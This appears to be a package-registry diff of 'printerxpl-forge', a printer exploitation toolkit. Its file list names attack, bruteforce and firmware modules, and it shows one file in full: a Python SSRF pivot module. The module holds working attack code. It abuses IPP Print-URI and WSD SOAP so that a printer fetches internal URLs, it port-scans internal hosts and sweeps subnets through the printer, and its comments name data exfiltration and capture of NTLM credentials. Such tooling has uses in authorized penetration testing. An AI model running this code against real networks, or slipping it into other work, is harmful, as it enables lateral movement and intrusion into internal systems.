printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,427 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — SSRF Pivot / Lateral Movement Module
|
|
5
|
+
======================================================
|
|
6
|
+
Uses the printer as a network pivot point to:
|
|
7
|
+
1. Probe internal hosts/ports the attacker cannot reach directly
|
|
8
|
+
2. Exfiltrate data by instructing the printer to fetch internal URLs
|
|
9
|
+
3. Identify alive hosts and open services on the internal LAN
|
|
10
|
+
4. Use WSD (Web Services for Devices) SOAP for SSRF
|
|
11
|
+
5. Use IPP print-by-reference (fetch document from internal URL)
|
|
12
|
+
6. Use HTTP redirect in printer web interface for SSRF
|
|
13
|
+
|
|
14
|
+
Attack chain:
|
|
15
|
+
Attacker → Printer (accessible) → Internal target (not accessible directly)
|
|
16
|
+
[SSRF vector]
|
|
17
|
+
|
|
18
|
+
Vectors implemented:
|
|
19
|
+
A. IPP print-by-reference — printer fetches URL as print job data
|
|
20
|
+
B. WSD SOAP SSRF — SOAP GET to arbitrary internal host
|
|
21
|
+
C. Web UI SSRF — some printers accept internal URLs for scan-to-email
|
|
22
|
+
D. Timed SSRF port scanner — measure response time to infer port open/closed
|
|
23
|
+
E. DNS rebinding helper — generate payload for time-of-check attacks
|
|
24
|
+
"""
|
|
25
|
+
|
|
26
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
27
|
+
# GitHub : https://github.com/mrhenrike
|
|
28
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
29
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
30
|
+
|
|
31
|
+
from __future__ import annotations
|
|
32
|
+
|
|
33
|
+
import logging
|
|
34
|
+
import socket
|
|
35
|
+
import struct
|
|
36
|
+
import time
|
|
37
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
38
|
+
from typing import Dict, List, Optional, Tuple
|
|
39
|
+
|
|
40
|
+
import requests
|
|
41
|
+
import urllib3
|
|
42
|
+
|
|
43
|
+
urllib3.disable_warnings()
|
|
44
|
+
|
|
45
|
+
_log = logging.getLogger(__name__)
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
# ── SSRF result dataclass ──────────────────────────────────────────────────────
|
|
49
|
+
|
|
50
|
+
class PortState:
|
|
51
|
+
OPEN = 'open'
|
|
52
|
+
CLOSED = 'closed'
|
|
53
|
+
FILTERED = 'filtered'
|
|
54
|
+
UNKNOWN = 'unknown'
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
# ── A. IPP print-by-reference SSRF ───────────────────────────────────────────
|
|
58
|
+
|
|
59
|
+
def ipp_fetch_url(
|
|
60
|
+
printer_host: str,
|
|
61
|
+
printer_port: int,
|
|
62
|
+
printer_path: str,
|
|
63
|
+
target_url: str,
|
|
64
|
+
scheme: str = 'https',
|
|
65
|
+
timeout: float = 15,
|
|
66
|
+
dry_run: bool = True,
|
|
67
|
+
) -> Dict:
|
|
68
|
+
"""
|
|
69
|
+
Use IPP Print-URI (op 0x0003) to instruct the printer to fetch *target_url*.
|
|
70
|
+
|
|
71
|
+
The printer will make an outbound HTTP/HTTPS request to *target_url* and
|
|
72
|
+
attempt to print the response. The attacker can:
|
|
73
|
+
- Host a listener to capture the request (confirms SSRF)
|
|
74
|
+
- Point to internal services to exfiltrate their HTTP responses
|
|
75
|
+
(via error messages in IPP response or timing)
|
|
76
|
+
- Point to an NTLM endpoint for credential capture
|
|
77
|
+
|
|
78
|
+
Args:
|
|
79
|
+
target_url: URL the printer should fetch (e.g. http://192.168.1.1:8080/).
|
|
80
|
+
dry_run: If True, cancel the job immediately after submission.
|
|
81
|
+
|
|
82
|
+
Returns:
|
|
83
|
+
dict with keys: submitted, status_code, response_hints, timing_ms.
|
|
84
|
+
"""
|
|
85
|
+
import struct as _s
|
|
86
|
+
|
|
87
|
+
result = {
|
|
88
|
+
'vector': 'IPP print-by-reference',
|
|
89
|
+
'target_url': target_url,
|
|
90
|
+
'submitted': False,
|
|
91
|
+
'status_code': None,
|
|
92
|
+
'response_hints': [],
|
|
93
|
+
'timing_ms': None,
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
printer_uri = f"ipp://{printer_host}{printer_path}"
|
|
97
|
+
|
|
98
|
+
def _attr(tag, name, value):
|
|
99
|
+
nb = name.encode()
|
|
100
|
+
vb = value.encode() if isinstance(value, str) else value
|
|
101
|
+
return bytes([tag]) + _s.pack('>H', len(nb)) + nb + _s.pack('>H', len(vb)) + vb
|
|
102
|
+
|
|
103
|
+
body = b'\x01\x01'
|
|
104
|
+
body += _s.pack('>H', 0x0003) # Print-URI
|
|
105
|
+
body += _s.pack('>I', 1)
|
|
106
|
+
body += b'\x01'
|
|
107
|
+
body += _attr(0x47, 'attributes-charset', 'utf-8')
|
|
108
|
+
body += _attr(0x48, 'attributes-natural-language', 'en')
|
|
109
|
+
body += _attr(0x45, 'printer-uri', printer_uri)
|
|
110
|
+
body += _attr(0x45, 'document-uri', target_url) # fetch this URL
|
|
111
|
+
body += _attr(0x44, 'document-format', 'application/octet-stream')
|
|
112
|
+
body += _attr(0x42, 'job-name', 'pivot-test')
|
|
113
|
+
body += b'\x03'
|
|
114
|
+
|
|
115
|
+
t0 = time.monotonic()
|
|
116
|
+
try:
|
|
117
|
+
r = requests.post(
|
|
118
|
+
f"{scheme}://{printer_host}:{printer_port}{printer_path}",
|
|
119
|
+
data=body,
|
|
120
|
+
headers={'Content-Type': 'application/ipp'},
|
|
121
|
+
timeout=timeout, verify=False,
|
|
122
|
+
)
|
|
123
|
+
elapsed_ms = round((time.monotonic() - t0) * 1000)
|
|
124
|
+
result['timing_ms'] = elapsed_ms
|
|
125
|
+
result['status_code'] = r.status_code
|
|
126
|
+
|
|
127
|
+
if r.status_code in (200, 400):
|
|
128
|
+
status_word = struct.unpack('>H', r.content[2:4])[0] if len(r.content) >= 4 else 0
|
|
129
|
+
result['submitted'] = status_word < 0x0400
|
|
130
|
+
|
|
131
|
+
# Extract any error messages that might reveal internal host state
|
|
132
|
+
text = r.content.decode('latin-1', errors='replace')
|
|
133
|
+
for hint in ['connection refused', 'no route', 'timeout',
|
|
134
|
+
'connect', 'error', 'unreachable', 'refused']:
|
|
135
|
+
if hint.lower() in text.lower():
|
|
136
|
+
result['response_hints'].append(hint)
|
|
137
|
+
|
|
138
|
+
except requests.Timeout:
|
|
139
|
+
result['timing_ms'] = int((time.monotonic() - t0) * 1000)
|
|
140
|
+
result['response_hints'].append('timeout — target may be alive (filtered)')
|
|
141
|
+
except Exception as exc:
|
|
142
|
+
result['response_hints'].append(str(exc)[:60])
|
|
143
|
+
|
|
144
|
+
return result
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
# ── B. WSD SOAP SSRF ──────────────────────────────────────────────────────────
|
|
148
|
+
|
|
149
|
+
def wsd_soap_ssrf(
|
|
150
|
+
printer_host: str,
|
|
151
|
+
target_host: str,
|
|
152
|
+
target_port: int = 80,
|
|
153
|
+
target_path: str = '/',
|
|
154
|
+
timeout: float = 8,
|
|
155
|
+
) -> Dict:
|
|
156
|
+
"""
|
|
157
|
+
Craft a WSD (Web Services for Devices) SOAP request where the printer
|
|
158
|
+
will forward a SOAP Get to *target_host:target_port*.
|
|
159
|
+
|
|
160
|
+
The printer's WSD service acts as an unintended HTTP proxy.
|
|
161
|
+
Observing response timing and error codes reveals:
|
|
162
|
+
- Whether the internal host is alive
|
|
163
|
+
- Whether the port is open or closed
|
|
164
|
+
"""
|
|
165
|
+
import uuid as _uuid
|
|
166
|
+
|
|
167
|
+
result = {
|
|
168
|
+
'vector': 'WSD SOAP SSRF',
|
|
169
|
+
'target': f'http://{target_host}:{target_port}{target_path}',
|
|
170
|
+
'alive': None,
|
|
171
|
+
'timing_ms': None,
|
|
172
|
+
'hints': [],
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
soap = f"""<?xml version="1.0" encoding="utf-8"?>
|
|
176
|
+
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
|
|
177
|
+
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
|
178
|
+
xmlns:w="http://schemas.xmlsoap.org/ws/2004/09/transfer">
|
|
179
|
+
<s:Header>
|
|
180
|
+
<a:To>http://{target_host}:{target_port}{target_path}</a:To>
|
|
181
|
+
<a:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</a:Action>
|
|
182
|
+
<a:MessageID>urn:uuid:{_uuid.uuid4()}</a:MessageID>
|
|
183
|
+
<a:ReplyTo>
|
|
184
|
+
<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
|
|
185
|
+
</a:ReplyTo>
|
|
186
|
+
</s:Header>
|
|
187
|
+
<s:Body/>
|
|
188
|
+
</s:Envelope>"""
|
|
189
|
+
|
|
190
|
+
for wsd_path in ('/WSD/DEVICE', '/wsd/device'):
|
|
191
|
+
try:
|
|
192
|
+
t0 = time.monotonic()
|
|
193
|
+
r = requests.post(
|
|
194
|
+
f'http://{printer_host}{wsd_path}',
|
|
195
|
+
data=soap.encode(),
|
|
196
|
+
headers={'Content-Type': 'application/soap+xml; charset=utf-8',
|
|
197
|
+
'SOAPAction': '""'},
|
|
198
|
+
timeout=timeout,
|
|
199
|
+
)
|
|
200
|
+
elapsed = round((time.monotonic() - t0) * 1000)
|
|
201
|
+
result['timing_ms'] = elapsed
|
|
202
|
+
result['alive'] = True
|
|
203
|
+
text = r.text.lower()
|
|
204
|
+
for h in ['error', 'unreachable', 'refused', 'connect', 'timeout']:
|
|
205
|
+
if h in text:
|
|
206
|
+
result['hints'].append(h)
|
|
207
|
+
break
|
|
208
|
+
except requests.Timeout:
|
|
209
|
+
result['timing_ms'] = timeout * 1000
|
|
210
|
+
result['hints'].append('printer WSD timed out (or WSD not available)')
|
|
211
|
+
except Exception as exc:
|
|
212
|
+
result['hints'].append(str(exc)[:60])
|
|
213
|
+
|
|
214
|
+
return result
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
# ── C. Timed SSRF port scanner ────────────────────────────────────────────────
|
|
218
|
+
|
|
219
|
+
def ssrf_port_scan(
|
|
220
|
+
printer_host: str,
|
|
221
|
+
printer_port: int,
|
|
222
|
+
printer_path: str,
|
|
223
|
+
target_host: str,
|
|
224
|
+
ports: List[int] = None,
|
|
225
|
+
scheme: str = 'https',
|
|
226
|
+
timeout: float = 6,
|
|
227
|
+
workers: int = 5,
|
|
228
|
+
verbose: bool = True,
|
|
229
|
+
) -> Dict[int, str]:
|
|
230
|
+
"""
|
|
231
|
+
Scan internal ports via IPP print-by-reference SSRF timing analysis.
|
|
232
|
+
|
|
233
|
+
Method:
|
|
234
|
+
- Open port → printer establishes TCP connection → response < timeout
|
|
235
|
+
- Closed port → printer gets TCP RST immediately → response in ~100ms
|
|
236
|
+
- Filtered → printer times out → response ≈ timeout
|
|
237
|
+
|
|
238
|
+
Args:
|
|
239
|
+
target_host: Internal IP to scan (unreachable from attacker directly).
|
|
240
|
+
ports: Ports to test (default: common service ports).
|
|
241
|
+
|
|
242
|
+
Returns:
|
|
243
|
+
dict {port: state} where state is 'open'|'closed'|'filtered'.
|
|
244
|
+
"""
|
|
245
|
+
if ports is None:
|
|
246
|
+
ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 389,
|
|
247
|
+
443, 445, 3306, 3389, 5432, 8080, 8443, 9100, 27017]
|
|
248
|
+
|
|
249
|
+
results: Dict[int, str] = {}
|
|
250
|
+
|
|
251
|
+
def _probe(port: int) -> Tuple[int, str]:
|
|
252
|
+
target_url = f"http://{target_host}:{port}/"
|
|
253
|
+
res = ipp_fetch_url(
|
|
254
|
+
printer_host, printer_port, printer_path,
|
|
255
|
+
target_url, scheme=scheme, timeout=timeout, dry_run=True,
|
|
256
|
+
)
|
|
257
|
+
ms = res.get('timing_ms') or timeout * 1000
|
|
258
|
+
|
|
259
|
+
if ms < timeout * 300: # responded fast → RST (closed) or data (open)
|
|
260
|
+
if res['submitted']:
|
|
261
|
+
return port, PortState.OPEN
|
|
262
|
+
elif 'refused' in ' '.join(res['response_hints']).lower():
|
|
263
|
+
return port, PortState.CLOSED
|
|
264
|
+
else:
|
|
265
|
+
return port, PortState.OPEN
|
|
266
|
+
elif ms >= timeout * 900: # close to timeout → filtered
|
|
267
|
+
return port, PortState.FILTERED
|
|
268
|
+
else:
|
|
269
|
+
return port, PortState.UNKNOWN
|
|
270
|
+
|
|
271
|
+
if verbose:
|
|
272
|
+
print(f" [SSRF] Port scanning {target_host} via printer {printer_host} "
|
|
273
|
+
f"({len(ports)} ports) ...")
|
|
274
|
+
|
|
275
|
+
with ThreadPoolExecutor(max_workers=workers) as ex:
|
|
276
|
+
futures = {ex.submit(_probe, p): p for p in ports}
|
|
277
|
+
for f in as_completed(futures):
|
|
278
|
+
port, state = f.result()
|
|
279
|
+
results[port] = state
|
|
280
|
+
if verbose and state in (PortState.OPEN,):
|
|
281
|
+
print(f" [SSRF] {target_host}:{port:5d} \033[1;32mOPEN\033[0m")
|
|
282
|
+
|
|
283
|
+
return results
|
|
284
|
+
|
|
285
|
+
|
|
286
|
+
# ── D. Internal network host discovery ────────────────────────────────────────
|
|
287
|
+
|
|
288
|
+
def discover_internal_hosts(
|
|
289
|
+
printer_host: str,
|
|
290
|
+
printer_port: int,
|
|
291
|
+
printer_path: str,
|
|
292
|
+
subnet: str = None,
|
|
293
|
+
scheme: str = 'https',
|
|
294
|
+
timeout: float = 4,
|
|
295
|
+
probe_port: int = 80,
|
|
296
|
+
verbose: bool = True,
|
|
297
|
+
) -> List[str]:
|
|
298
|
+
"""
|
|
299
|
+
Probe each host in *subnet* for a single *probe_port* to identify alive hosts.
|
|
300
|
+
|
|
301
|
+
If *subnet* is None, it is derived from the printer's own IP (e.g. 192.168.0.0/24).
|
|
302
|
+
|
|
303
|
+
Returns list of likely-alive internal IP addresses.
|
|
304
|
+
"""
|
|
305
|
+
if subnet is None:
|
|
306
|
+
parts = printer_host.rsplit('.', 1)
|
|
307
|
+
if len(parts) == 2:
|
|
308
|
+
subnet = parts[0] + '.0/24'
|
|
309
|
+
|
|
310
|
+
# Parse subnet
|
|
311
|
+
try:
|
|
312
|
+
base, bits = subnet.split('/')
|
|
313
|
+
base_parts = list(map(int, base.split('.')))
|
|
314
|
+
host_count = 2 ** (32 - int(bits)) - 2
|
|
315
|
+
first_host = base_parts[:3] + [base_parts[3] + 1]
|
|
316
|
+
except Exception:
|
|
317
|
+
_log.warning("Cannot parse subnet %r — using /24 from printer IP", subnet)
|
|
318
|
+
parts = printer_host.rsplit('.', 1)
|
|
319
|
+
first_host = list(map(int, parts[0].split('.'))) + [1]
|
|
320
|
+
host_count = 254
|
|
321
|
+
|
|
322
|
+
alive = []
|
|
323
|
+
if verbose:
|
|
324
|
+
print(f" [PIVOT] Probing {subnet or printer_host+'.0/24'} "
|
|
325
|
+
f"via printer SSRF (port {probe_port}) ...")
|
|
326
|
+
|
|
327
|
+
def _check(ip: str) -> Optional[str]:
|
|
328
|
+
if ip == printer_host:
|
|
329
|
+
return None
|
|
330
|
+
target_url = f"http://{ip}:{probe_port}/"
|
|
331
|
+
res = ipp_fetch_url(
|
|
332
|
+
printer_host, printer_port, printer_path,
|
|
333
|
+
target_url, scheme=scheme, timeout=timeout, dry_run=True,
|
|
334
|
+
)
|
|
335
|
+
ms = res.get('timing_ms') or timeout * 1000
|
|
336
|
+
# Fast response → host likely alive (RST or actual data)
|
|
337
|
+
if ms < timeout * 400:
|
|
338
|
+
return ip
|
|
339
|
+
return None
|
|
340
|
+
|
|
341
|
+
# Generate IP list
|
|
342
|
+
ips = []
|
|
343
|
+
for i in range(1, min(host_count + 1, 255)):
|
|
344
|
+
ip_parts = first_host[:3] + [first_host[3] - 1 + i]
|
|
345
|
+
if all(0 <= p <= 255 for p in ip_parts):
|
|
346
|
+
ips.append('.'.join(map(str, ip_parts)))
|
|
347
|
+
|
|
348
|
+
with ThreadPoolExecutor(max_workers=10) as ex:
|
|
349
|
+
futures = {ex.submit(_check, ip): ip for ip in ips}
|
|
350
|
+
for f in as_completed(futures):
|
|
351
|
+
result = f.result()
|
|
352
|
+
if result:
|
|
353
|
+
alive.append(result)
|
|
354
|
+
if verbose:
|
|
355
|
+
print(f" [PIVOT] \033[1;32m{result}\033[0m likely alive")
|
|
356
|
+
|
|
357
|
+
return sorted(alive)
|
|
358
|
+
|
|
359
|
+
|
|
360
|
+
# ── E. Full pivot audit ────────────────────────────────────────────────────────
|
|
361
|
+
|
|
362
|
+
def pivot_audit(
|
|
363
|
+
printer_host: str,
|
|
364
|
+
printer_port: int = 631,
|
|
365
|
+
printer_path: str = '/ipp/print',
|
|
366
|
+
scheme: str = 'https',
|
|
367
|
+
timeout: float = 10,
|
|
368
|
+
verbose: bool = True,
|
|
369
|
+
) -> Dict:
|
|
370
|
+
"""
|
|
371
|
+
Run a complete pivot/lateral-movement assessment using the printer as proxy.
|
|
372
|
+
|
|
373
|
+
Checks:
|
|
374
|
+
1. IPP print-by-reference SSRF capability
|
|
375
|
+
2. WSD SOAP SSRF capability
|
|
376
|
+
3. Internal network host discovery (printer's subnet)
|
|
377
|
+
4. Gateway and common internal services
|
|
378
|
+
|
|
379
|
+
Returns structured results.
|
|
380
|
+
"""
|
|
381
|
+
results = {
|
|
382
|
+
'printer': printer_host,
|
|
383
|
+
'ssrf_ipp': None,
|
|
384
|
+
'ssrf_wsd': None,
|
|
385
|
+
'internal_hosts': [],
|
|
386
|
+
'gateway_probe': None,
|
|
387
|
+
'risk': [],
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
if verbose:
|
|
391
|
+
print(f"\n [PIVOT] Lateral movement assessment via {printer_host}")
|
|
392
|
+
|
|
393
|
+
# 1. IPP SSRF — probe localhost (printer itself)
|
|
394
|
+
local_res = ipp_fetch_url(
|
|
395
|
+
printer_host, printer_port, printer_path,
|
|
396
|
+
'http://127.0.0.1:80/', scheme=scheme, timeout=timeout, dry_run=True,
|
|
397
|
+
)
|
|
398
|
+
results['ssrf_ipp'] = local_res
|
|
399
|
+
if local_res['submitted']:
|
|
400
|
+
results['risk'].append('IPP_SSRF_CAPABLE')
|
|
401
|
+
if verbose:
|
|
402
|
+
print(f" [PIVOT] \033[1;31m[VULN]\033[0m IPP print-by-reference SSRF confirmed")
|
|
403
|
+
print(f" Printer fetched http://127.0.0.1:80/ — "
|
|
404
|
+
f"timing={local_res['timing_ms']}ms")
|
|
405
|
+
|
|
406
|
+
# 2. WSD SSRF — probe a well-known internal address
|
|
407
|
+
gateway = printer_host.rsplit('.', 1)[0] + '.1'
|
|
408
|
+
wsd_res = wsd_soap_ssrf(printer_host, gateway, 80, '/', timeout)
|
|
409
|
+
results['ssrf_wsd'] = wsd_res
|
|
410
|
+
results['gateway_probe'] = gateway
|
|
411
|
+
if wsd_res['alive'] or (wsd_res['timing_ms'] and wsd_res['timing_ms'] < 3000):
|
|
412
|
+
results['risk'].append('WSD_SSRF_CAPABLE')
|
|
413
|
+
if verbose:
|
|
414
|
+
print(f" [PIVOT] WSD SOAP responded — gateway {gateway} probed "
|
|
415
|
+
f"(timing={wsd_res['timing_ms']}ms)")
|
|
416
|
+
|
|
417
|
+
# 3. Discover alive hosts in the same /24
|
|
418
|
+
if 'IPP_SSRF_CAPABLE' in results['risk']:
|
|
419
|
+
alive = discover_internal_hosts(
|
|
420
|
+
printer_host, printer_port, printer_path, scheme=scheme,
|
|
421
|
+
timeout=max(timeout / 2, 3), verbose=verbose,
|
|
422
|
+
)
|
|
423
|
+
results['internal_hosts'] = alive
|
|
424
|
+
if alive:
|
|
425
|
+
results['risk'].append(f'INTERNAL_HOSTS_FOUND:{len(alive)}')
|
|
426
|
+
|
|
427
|
+
return results
|